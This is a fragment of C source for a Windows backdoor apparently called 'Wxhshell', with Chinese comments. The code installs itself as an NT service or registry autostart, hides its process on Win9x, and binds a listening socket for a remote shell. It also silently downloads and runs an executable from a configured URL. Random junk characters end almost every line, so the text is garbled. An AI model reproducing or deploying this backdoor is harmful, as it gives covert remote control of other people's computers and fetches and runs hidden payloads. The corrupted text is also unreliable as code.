DWORD AffinityMask; Mo'6<"x
DWORD BasePriority; c"*xw8|
ULONG UniqueProcessId; LI}@qLe
ULONG InheritedFromUniqueProcessId; *ggai?
} PROCESS_BASIC_INFORMATION; \]Bwib%h
d\O*Ol*/v
PROCNTQSIP NtQueryInformationProcess; shkyN
g9~QNA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >DM^/EAG{
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iQd,xr
^7Z#g0{^w
HANDLE hProcess; _a]0<Vm C0
PROCESS_BASIC_INFORMATION pbi; y.>1r7
Z\[6'R4.#
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E\5Cf2Ox
if(NULL == hInst ) return 0; )#os!Ns_A
tl6x@%\
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x@*RF:\}
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); aM5Hp>'nI
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ll$,"}0T
N({0" 7
if (!NtQueryInformationProcess) return 0; BbIg]E/G
`;
+UWdAR
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "?AJ(>wP
if(!hProcess) return 0; fphi['X
S7v# `#
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }'`iJb\
V}aZ}m{J
CloseHandle(hProcess); %\f<N1~*
`RlMfd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
@f!r"P]
if(hProcess==NULL) return 0; ]mR!-Fqj
mI>=S
HMODULE hMod; t) uS7y
char procName[255]; /1BqC3]tL
unsigned long cbNeeded; jR[b7s
Ir6(EIwx0
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); jvQpfd
Vi=u}(*
CloseHandle(hProcess); pgw_F
?B32,AS@
if(strstr(procName,"services")) return 1; // 以服务启动 (jI _Dk;
{Gvv^.H7
return 0; // 注册表启动 IkP; i_|
} GMKY1{
dbG902dR
// 主模块 G2
0
int StartWxhshell(LPSTR lpCmdLine) ]?*'[
{ wh2Ljskda8
SOCKET wsl; wiP )"g.t
BOOL val=TRUE; "'3QKeM1
int port=0; ' e:rL.
struct sockaddr_in door; $!goM~pZ
,a34=,
if(wscfg.ws_autoins) Install(); "1wjh=@z
.b|!FWHNS
port=atoi(lpCmdLine); fR&x5Ika0
X1XmaO%A
if(port<=0) port=wscfg.ws_port; ">FuCvQ
qFE(H1hy
WSADATA data; Mi<l;ZP
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 06]%$-j
exxH0^
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F-=Xbyr3@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &HBC9Bx/(
door.sin_family = AF_INET; XK{K FB-
door.sin_addr.s_addr = inet_addr("127.0.0.1"); e~ %=H 0n
door.sin_port = htons(port); Z,I0<ecaD
B8`!A
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x/L(0z
closesocket(wsl); Yn5a4
return 1; ;;
?OS
} %~I%*=o[
2l}H=DZV
if(listen(wsl,2) == INVALID_SOCKET) { Oj1B @QE
closesocket(wsl); 9j>LU<Z
return 1; /_mU%fl
} Z8I0v$LjR
Wxhshell(wsl); =rN_8&
WSACleanup(); 9Pql\]9"o
3of0f{ZTj
return 0; LMRq.wxbbB
UM}MK
} 2O(= 2X
z9
$1jC
// 以NT服务方式启动 |xFSGrC
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n{"e8vQx
{ ;m~%57.;\
DWORD status = 0; ipD/dx.
DWORD specificError = 0xfffffff; a8 .x=j<
~COd(,ul
serviceStatus.dwServiceType = SERVICE_WIN32; >Yx,%a@~R
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $T7(AohR
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H`OJN.
serviceStatus.dwWin32ExitCode = 0; (9KiIRN
serviceStatus.dwServiceSpecificExitCode = 0; TJ>$ ~9&Sy
serviceStatus.dwCheckPoint = 0; :~Ppv5W.
serviceStatus.dwWaitHint = 0; i#%!J:_=
'3]M1EP
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k;f%OQsF_
if (hServiceStatusHandle==0) return; M.K%;j`
;Dp<|n
status = GetLastError(); ] p*Fq^
if (status!=NO_ERROR) 8Z>=sUMQ
{ MI,kKi
serviceStatus.dwCurrentState = SERVICE_STOPPED; (/jZ&4T
serviceStatus.dwCheckPoint = 0; ]6].l$%z#
serviceStatus.dwWaitHint = 0; _i2guhRs*Q
serviceStatus.dwWin32ExitCode = status; .zo>,*:t
serviceStatus.dwServiceSpecificExitCode = specificError; B*otquz
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ykT(`.#
return; do DpTwvh
} fl+2'~
Yu:!l>
serviceStatus.dwCurrentState = SERVICE_RUNNING; s:*" b'
serviceStatus.dwCheckPoint = 0; %b>Ee>rdD
serviceStatus.dwWaitHint = 0; IN?rPdY
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -] `OaL!
} m`xzvg
T7Qw1k
// 处理NT服务事件,比如:启动、停止 LLPbZ9q
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?sclOOh
{ z4r g.ai
switch(fdwControl) <|;)iT1VeT
{ pwmH(94$0
case SERVICE_CONTROL_STOP: F/:Jp3@
serviceStatus.dwWin32ExitCode = 0; i\C~]K~O!
serviceStatus.dwCurrentState = SERVICE_STOPPED; =2/[n8pSsM
serviceStatus.dwCheckPoint = 0; .9!?vz]1
serviceStatus.dwWaitHint = 0; S?u@3PyJm
{ cIg+^Tl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qsHjqK@(
} /{!?e<N>
return; 0[R7HX-@
case SERVICE_CONTROL_PAUSE: w0,rFWS
serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ekV*,R"
break; eVRjU
case SERVICE_CONTROL_CONTINUE: Jj7he(!_1
serviceStatus.dwCurrentState = SERVICE_RUNNING; Rz"gPU4;`
break; .Lp\Jyegs
case SERVICE_CONTROL_INTERROGATE: Pk^W+M_)~
break; +&.wc;mi
}; RP%7M8V){B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); THmmf_w@
} b$N&sZ
c;7`]}fGu
// 标准应用程序主函数 9Bi{X_.9
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;mSJZYnT
{ L)3JTNiB
^ ^k]2oG
// 获取操作系统版本 %ql2 XAY
OsIsNt=GetOsVer(); Pvz\zRq
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y(C-o[-N
V?N8 ,)j
// 从命令行安装
t&H3yV
if(strpbrk(lpCmdLine,"iI")) Install(); p_qJI@u8
@WICAC=
// 下载执行文件 PLhlbzc f
if(wscfg.ws_downexe) { d7qYz7=d
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /XXy!=1J
WinExec(wscfg.ws_filenam,SW_HIDE); k/hNap'0
} kGW4kuh)/q
/yFs$t>9
if(!OsIsNt) { 66|$X,
// 如果时win9x,隐藏进程并且设置为注册表启动 C]NL9Gq`
HideProc(); |WsB0R
StartWxhshell(lpCmdLine); tQIa6c4|
} h.)o4(bO
else W5R /
if(StartFromService()) 4(TR'_X(
// 以服务方式启动 rfYFS96
StartServiceCtrlDispatcher(DispatchTable); &nfGRb
else L[O.]2
// 普通方式启动 -HUlB|Q8r
StartWxhshell(lpCmdLine); 3oMhsQz~z
%OAvhutS
return 0; >%c7|\q[ R
}